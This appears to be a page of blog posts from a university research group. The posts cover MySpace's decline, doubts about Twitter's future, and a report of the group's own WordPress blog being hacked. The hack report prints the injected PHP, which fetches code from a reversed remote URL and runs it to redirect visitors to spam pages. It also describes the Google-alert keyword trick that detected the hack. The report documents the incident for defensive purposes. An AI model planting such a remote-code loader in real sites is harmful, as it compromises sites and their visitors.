Financial Times has a long article describing the The rise and fall of MySpace. It’s a story full of bad timing, missed opportunities, suits vs. geeks, personalities, and, I suppose, random chance events. I hope at least a few fossils from our age will be preserved for future generations to study.
Yesterday we discovered that our ebiquity blog had been hacked. It looks like a vulnerability in our old WordPress installation was exploited to add the following code to the top of our blog’s main page.
< ?php $site = create_function('','$cachedir="/tmp/"; $param="qq"; $key=$_GET[$param]; $rand="1239aef"; $said=23; $type=1; $stprot="http://blogwp.info"; '.file_get_contents(strrev("txt.mrahp/elpmaxe/deliated/ofni.pwgolb//:ptth"))); $site(); ?>
This code caused URLs like https://ebiquity.umbc.edu/?qq=1671 to redirect to a spam page. We’ve upgraded the blog to the latest WordPress release, which hopefully will prevent this exploit from being used again. (Notice the reversed URL — LOL!)
We discovered the problem though a clever trick I read about last year on a site I’ve forgotten (maybe here). We created several Google alerts triggered by the appearance of spam-related words on pages apparently hosted by ebiquity.umbc.edu. For example:
- adult OR girls OR sex OR sexx OR XXX OR porn OR pornography site:ebiquity.umbc.edu
- viagra OR cialis OR levitra OR Phentermine OR Xanax site:ebiquity.umbc.edu
I would get several false positives a month from these alerts triggered by non-spam entries on our site. In fact, *this* post will generate a false positive. But yesterday I got a true positive. Looking at the log files, I think I got the alert within a few hours of when our blog was hacked. So I am happy to say that this worked and worked well. Without this alert, it might have taken weeks to notice the problem.
The results of this Google search reveal many compromised blogs from the .edu domain.
Some people who study technology aren’t sure Twitter will endure.
“Frankly, I think a lot of twittering is somewhat faddish, whereas I never thought Facebook was. … People I interviewed and surveyed would talk of serious feeling of deprivation without Facebook and I’ve hardly heard anyone say that about twitter,” Zeynep Tufekci, an assistant professor who teaches the sociology of technology at the University of Maryland, Baltimore County, wrote in an e-mail. “Will people Twitter five years from now? Perhaps, but I would not be surprised if they did not, or at least as much.”